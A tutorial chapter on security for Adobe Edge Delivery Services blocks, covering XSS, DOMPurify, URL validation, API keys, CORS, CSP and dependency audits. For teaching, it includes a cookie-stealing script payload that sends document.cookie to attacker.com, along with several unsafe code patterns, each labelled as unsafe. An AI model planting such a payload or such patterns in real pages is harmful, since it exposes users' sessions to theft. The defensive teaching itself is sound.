N
Naveenr.dev
Chapter 14
25 min read2026-06-30

Security in EDS Blocks

Security for EDS blocks. Covers XSS prevention, safe DOM building, API key handling, CORS, Content Security Policy, dependency auditing, and OWASP risks in the EDS context.

Content Objective

This chapter covers:

  • Why innerHTML in block JS is the primary XSS vector in EDS
  • How to use DOMPurify (already in the EDS boilerplate) to sanitize content
  • Safe DOM construction patterns that eliminate XSS by design
  • Why API keys must never appear in client-side block JS
  • How to configure CORS correctly for external API calls from blocks
  • What Content Security Policy EDS sets and how to extend it
  • Dependency security: auditing package.json for CVEs
  • OWASP Top 10 mapped to EDS-specific risks
  • The security checklist for every block before it ships to production

Why Security in EDS Requires Extra Attention

In classic AEM, the Core Components framework handles most security concerns automatically:

  • HTL escapes all variables by default (XSS protection)
  • Sling Model values are type-safe
  • Content policies enforce what is allowed
  • AEM's security framework validates inputs at the servlet layer

In EDS, none of that exists. Your decorate() function is raw JavaScript operating directly on the DOM. There is no framework between your code and the browser. Every security decision is made — or skipped — in your block JS.

For enterprise projects, especially in regulated industries like healthcare, financial services, or government, security is not optional. A single XSS vulnerability in a block can expose patient data, session tokens, or enable phishing at scale on a trusted domain.


OWASP Top 10 in the EDS Context

The OWASP Top 10 is the globally accepted baseline for web application security risks. Here is how each maps to EDS block development:

OWASP RiskEDS Risk LevelEDS-Specific Vector
A01 Broken Access ControlMediumContent visible to wrong audience (client-side gating is weak)
A02 Cryptographic FailuresHighAPI keys hardcoded in block JS (sent to every browser)
A03 Injection (XSS)CriticalinnerHTML with content from JCR/DA or query params
A04 Insecure DesignMediumTrusting URL params for content decisions
A05 Security MisconfigurationMediumCORS wildcard on API endpoints, missing CSP headers
A06 Vulnerable ComponentsMediumOutdated npm dependencies in package.json
A07 Auth/Identity FailuresLow (EDS)EDS delivery is public; auth is external
A08 Software IntegrityLowCDN-loaded third-party scripts without SRI
A09 Logging FailuresLowNot applicable to EDS delivery layer
A10 SSRFLowEDS is client-side only; no server-side requests

The three that EDS developers must focus on: A02 (API keys), A03 (XSS via innerHTML), A06 (outdated packages).


XSS Prevention: The innerHTML Problem

Cross-Site Scripting (XSS) in EDS blocks happens almost exclusively through innerHTML assignment with content that includes user-controlled or CMS-authored strings.

Why Authored Content Can Be a Vector

Content in JCR or DA is authored by humans. Even trusted authors can accidentally (or maliciously) insert script content into richtext fields:

<!-- Authored in DA richtext cell -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>

If your block does:

const description = block.querySelector('.richtext-cell').innerHTML;
container.innerHTML = `<div class="description">${description}</div>`;

The script executes.

The Three Safe Approaches

Approach 1: Use DOMPurify (already in the EDS boilerplate)

The EDS boilerplate ships with scripts/dompurify.min.js. Use it to sanitize any richtext content before inserting into the DOM:

import DOMPurify from '../../scripts/dompurify.min.js';

export default function decorate(block) {
  const row = block.firstElementChild;
  const cells = [...row.children];

  // Raw HTML from authored content
  const rawTitle = cells[0]?.innerHTML || '';
  const rawDescription = cells[1]?.innerHTML || '';

  // Sanitize before inserting
  const safeTitle = DOMPurify.sanitize(rawTitle, { ALLOWED_TAGS: ['strong', 'em', 'br'] });
  const safeDescription = DOMPurify.sanitize(rawDescription, {
    ALLOWED_TAGS: ['p', 'strong', 'em', 'ul', 'ol', 'li', 'br', 'a'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });

  block.innerHTML = `
    <div class="card-title">${safeTitle}</div>
    <div class="card-description">${safeDescription}</div>
  `;
}

DOMPurify configuration options:

// Allow nothing — strips all HTML, keeps text only
DOMPurify.sanitize(input, { ALLOWED_TAGS: [], ALLOWED_ATTR: [] });

// Allow safe formatting only
DOMPurify.sanitize(input, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'br'],
  ALLOWED_ATTR: [],
});

// Allow links but force safe attributes
DOMPurify.sanitize(input, {
  ALLOWED_TAGS: ['a', 'p', 'ul', 'ol', 'li', 'strong', 'em'],
  ALLOWED_ATTR: ['href'],
  FORCE_BODY: true,
});

// Strip event handlers and JavaScript URLs, keep structure
DOMPurify.sanitize(input, {
  FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
  FORBID_TAGS: ['script', 'style', 'iframe'],
});

Rule: When to use DOMPurify — any time content came from authored input (JCR, DA, external API, URL parameters) and you are inserting it as HTML. If you are inserting it as text only, use textContent instead.

Approach 2: Use textContent for Plain Text Fields

For fields that contain no formatting (labels, titles, short strings), never use innerHTML. Use textContent:

// BAD — if title contains <script>, it executes
const titleEl = document.createElement('h1');
titleEl.innerHTML = authoredTitle;

// GOOD — browser treats the entire string as literal text, never executes it
const titleEl = document.createElement('h1');
titleEl.textContent = authoredTitle;

textContent is completely XSS-safe by definition. Use it for every field where you don't need HTML formatting.

Approach 3: Build DOM with createElement

Building the DOM programmatically with createElement and setAttribute eliminates XSS entirely because you're not parsing HTML at all:

// XSS-safe by construction — no HTML parsing
function createCard(title, description, href) {
  const article = document.createElement('article');
  article.classList.add('card');

  const heading = document.createElement('h2');
  heading.classList.add('card-title');
  heading.textContent = title;  // textContent = safe

  const body = document.createElement('div');
  body.classList.add('card-body');
  // DOMPurify for richtext content
  body.innerHTML = DOMPurify.sanitize(description);

  const link = document.createElement('a');
  link.classList.add('card-link');
  link.textContent = 'Read more';
  // Validate URL before setting href
  if (isValidUrl(href)) {
    link.href = href;
  }
  link.setAttribute('rel', 'noopener noreferrer');

  article.append(heading, body, link);
  return article;
}

URL Validation Before href Assignment

href attributes set to javascript: URIs are a classic XSS vector:

// BAD — authored href could be "javascript:stealCookies()"
link.href = authoredHref;

// GOOD — validate URL protocol before assignment
function isValidUrl(url) {
  try {
    const parsed = new URL(url, window.location.origin);
    return ['http:', 'https:', ''].includes(parsed.protocol)
      || url.startsWith('/');
  } catch {
    return false;
  }
}

if (isValidUrl(authoredHref)) {
  link.href = authoredHref;
} else {
  link.href = '#';
  console.warn(`[block] Invalid URL blocked: ${authoredHref}`);
}

API Keys: Never in Client-Side Block JS

This is A02 (Cryptographic Failures) from OWASP. It is the most common mistake EDS developers make when connecting blocks to external APIs.

The Mistake

// blocks/product-search/product-search.js
// NEVER DO THIS — API key is sent to every browser that views this page

const response = await fetch(
  `https://api.algolia.com/1/indexes/products/query`,
  {
    headers: {
      'X-Algolia-API-Key': 'abc123verysecretkey',   // EXPOSED
      'X-Algolia-Application-Id': 'MY_APP_ID',
    },
    body: JSON.stringify({ query: searchTerm }),
    method: 'POST',
  }
);

Anyone who opens DevTools Network tab sees this key. It can be extracted and used to make unlimited API calls billed to your account or to access non-public data.

Safe Patterns

Pattern 1: Use search-only / public keys

Most search APIs (Algolia, Typesense, Elasticsearch) have separate read-only "search keys" that are designed to be public. Use these in client-side code:

// Algolia search-only key — designed to be public
const response = await fetch(
  `https://${appId}-dsn.algolia.net/1/indexes/products/query`,
  {
    headers: {
      'X-Algolia-API-Key': SEARCH_ONLY_KEY,  // public key, read-only
      'X-Algolia-Application-Id': appId,
    },
    method: 'POST',
    body: JSON.stringify({ query }),
  }
);

Pattern 2: Proxy via AEM Sling Servlet (xwalk)

For APIs that require private keys:

// blocks/data-block/data-block.js
// Calls your AEM servlet — key stays server-side
const response = await fetch('/api/products?' + new URLSearchParams({ query }));
const data = await response.json();
// AEM Sling Servlet holds the private key via OSGi config
@SlingServletPaths("/api/products")
public class ProductSearchServlet extends SlingSafeMethodsServlet {
  @Reference
  private ProductSearchService searchService;  // key in OSGi config

  @Override
  protected void doGet(SlingHttpServletRequest req, SlingHttpServletResponse resp) {
    String query = req.getParameter("query");
    // Validate and sanitize query
    if (query == null || query.length() > 200) {
      resp.setStatus(400);
      return;
    }
    // Private API call happens server-side
    List<Product> results = searchService.search(query);
    // Return clean JSON
  }
}

Pattern 3: GitHub Actions Secret for build-time injection

For data that doesn't change per-user and can be baked into a JSON sheet:

# .github/workflows/refresh-data.yml
- name: Fetch and write data sheet
  env:
    API_KEY: ${{ secrets.PRIVATE_API_KEY }}  # never in code
  run: node scripts/fetch-data.js

The script writes data to a JSON file that EDS serves as a public sheet — no key ever reaches the browser.


CORS: External API Calls from Blocks

When a block calls an external API using fetch(), the browser enforces CORS (Cross-Origin Resource Sharing). If the API server does not send the correct Access-Control-Allow-Origin header, the request fails.

Understanding CORS in EDS

Your EDS page is served from *.aem.page or *.aem.live. When your block calls https://api.external.com, the API server must include:

Access-Control-Allow-Origin: https://main--eds-poc--org.aem.live

or

Access-Control-Allow-Origin: *

Common CORS Mistake: Wildcard Origin in Preflight

For requests with custom headers (like API keys), the browser sends a preflight OPTIONS request. The API must handle this:

Request:
OPTIONS https://api.external.com/data
Origin: https://main--eds-poc--org.aem.live
Access-Control-Request-Method: GET
Access-Control-Request-Headers: x-api-key

Required response:
Access-Control-Allow-Origin: https://main--eds-poc--org.aem.live
Access-Control-Allow-Methods: GET
Access-Control-Allow-Headers: x-api-key

If you don't control the API server and it doesn't support CORS, you must proxy through AEM (Pattern 2 above) or use a serverless function. You cannot bypass CORS from client-side code — it is a browser security control, not a server misconfiguration you can work around.

EDS-Specific CORS Headers

EDS CDN sends specific response headers. You can add custom headers via the CDN configuration if needed for your domain:

# Redirect or header configuration is done through Adobe support
# or via the EDS CDN headers feature (helix-query.yaml adjacent config)

Content Security Policy

EDS does not configure a Content Security Policy by default. For enterprise projects, especially healthcare, a CSP provides defense-in-depth against XSS.

Adding CSP via head.html

<!-- head.html -->
<meta http-equiv="Content-Security-Policy"
  content="
    default-src 'self';
    script-src 'self' https://www.googletagmanager.com https://cdn.jsdelivr.net;
    style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
    img-src 'self' data: https://main--eds-poc--org.aem.live https://*.hlx.page;
    font-src 'self' https://fonts.gstatic.com;
    connect-src 'self' https://api.your-domain.com;
    frame-ancestors 'self';
  ">

CSP directives relevant to EDS:

DirectivePurposeEDS Consideration
default-src 'self'Fallback for all resourcesBlocks all external resources not explicitly allowed
script-srcAllowed script sourcesMust include GTM, analytics, chat widget domains
style-src 'unsafe-inline'EDS inlines critical CSSRequired — EDS uses inline styles for LCP optimization
img-srcAllowed image originsMust include *.hlx.page, *.aem.live, *.aem.page
connect-srcAllowed fetch/XHR destinationsList all external API endpoints
frame-ancestorsWho can embed this pageUse 'none' to prevent clickjacking

Important: 'unsafe-inline' for styles is required because EDS's LCP optimization injects critical CSS inline. You cannot remove this without breaking EDS performance.


Dependency Security

The EDS boilerplate has a minimal package.json — primarily linting tools. But projects accumulate dependencies.

Audit Regularly

# Check for known CVEs in your dependencies
npm audit

# Auto-fix low-risk CVEs
npm audit fix

# Show detailed report
npm audit --json | jq '.vulnerabilities'

The DOMPurify Dependency

The boilerplate ships scripts/dompurify.min.js as a vendored file (copied into the repo, not installed via npm). This is intentional — it avoids supply chain risk from CDN-hosted versions.

Never load DOMPurify from a CDN in block JS:

// DANGEROUS — relies on CDN integrity, attacker can modify it
import DOMPurify from 'https://cdn.jsdelivr.net/npm/dompurify/dist/purify.min.js';

// CORRECT — use the vendored version in your repo
import DOMPurify from '../../scripts/dompurify.min.js';

Keep the vendored version updated: check DOMPurify releases quarterly and update the file.


Subresource Integrity for Third-Party Scripts

If you load any third-party script from a CDN in delayed.js, add Subresource Integrity (SRI):

// scripts/delayed.js
import { loadScript } from './aem.js';

// With SRI — browser verifies the hash before executing
const script = document.createElement('script');
script.src = 'https://cdn.example.com/library.min.js';
script.integrity = 'sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC';
script.crossOrigin = 'anonymous';
document.head.append(script);

Generate SRI hashes at https://www.srihash.org or with:

curl https://cdn.example.com/library.min.js | openssl dgst -sha384 -binary | base64

Security Checklist for Every Block

Before any block ships to production:

DOM Safety:
[ ] All user/authored HTML content passed through DOMPurify before innerHTML
[ ] Plain text fields use textContent, never innerHTML
[ ] URL values validated with isValidUrl() before assigning to href/src
[ ] No eval(), Function(), setTimeout(string), setInterval(string)
[ ] No document.write()

API Security:
[ ] No API keys, tokens, or secrets in block JS files
[ ] All private keys proxied through AEM servlet or external function
[ ] Public keys are genuinely read-only (search keys, not admin keys)

External Requests:
[ ] CORS tested against production domain (*.aem.live), not just localhost
[ ] External API calls use HTTPS only (never HTTP)
[ ] User input sanitized before including in query parameters
[ ] Query parameters length-validated before sending to APIs

Dependencies:
[ ] npm audit shows no high/critical CVEs
[ ] DOMPurify version is current (check quarterly)
[ ] Third-party scripts in delayed.js have SRI hashes (if CDN-loaded)
[ ] No dynamic script injection based on URL parameters

Content Security:
[ ] links with target="_blank" have rel="noopener noreferrer"
[ ] No inline event handlers in rendered HTML (onclick="...", etc.)
[ ] frame-ancestors CSP directive set if page should not be embeddable

Quick Reference: Safe vs Unsafe Patterns

// ❌ UNSAFE — innerHTML with unvalidated content
block.innerHTML = `<h1>${authoredTitle}</h1>`;

// ✅ SAFE — textContent for plain text
const h1 = document.createElement('h1');
h1.textContent = authoredTitle;

// ❌ UNSAFE — innerHTML with richtext from CMS
container.innerHTML = authoredRichtext;

// ✅ SAFE — DOMPurify for richtext
container.innerHTML = DOMPurify.sanitize(authoredRichtext);

// ❌ UNSAFE — API key in block JS
fetch(url, { headers: { Authorization: 'Bearer abc123secret' } });

// ✅ SAFE — proxy through backend, or use public search-only key
fetch('/api/search?' + new URLSearchParams({ q: query }));

// ❌ UNSAFE — unvalidated href
link.href = userProvidedUrl;

// ✅ SAFE — validated href
link.href = isValidUrl(userProvidedUrl) ? userProvidedUrl : '#';

// ❌ UNSAFE — dynamic script loading from user input
const src = new URLSearchParams(location.search).get('script');
document.head.innerHTML += `<script src="${src}"></script>`;

// ✅ SAFE — never load scripts from URL parameters

Key Takeaways

  • EDS has no security framework — every security decision is in your block JS; nothing is automatic
  • innerHTML with authored content is the #1 XSS risk — use DOMPurify (already in boilerplate) or textContent
  • DOMPurify is in scripts/dompurify.min.js — import from there, never from a CDN
  • API keys in block JS are sent to every browser — use read-only keys, proxy private keys through AEM or serverless functions
  • Validate URLs before assigning to href — block javascript: and non-http(s) protocols
  • CORS is enforced by the browser — test against *.aem.live domain, not localhost
  • Run npm audit before every production deploy — update DOMPurify quarterly
  • Add rel="noopener noreferrer" to all target="_blank" links — prevents tab-napping attacks
  • CSP is not set by EDS by default — configure it in head.html for enterprise projects

Next Steps

In the next chapter, we cover Accessibility — Building WCAG AA Compliant EDS Blocks. In AEM, Core Components handle much of the accessibility baseline. In EDS, every accessibility decision is in your decorate() function. We cover semantic HTML requirements, ARIA, keyboard navigation, focus management, and the WCAG AA checklist for blocks.

Enjoyed this chapter?

Get an email when I publish the next chapter. No spam — just new technical deep-dives.

Comments

Share feedback or questions about this blog post.

No comments yet. Be the first to share your thoughts.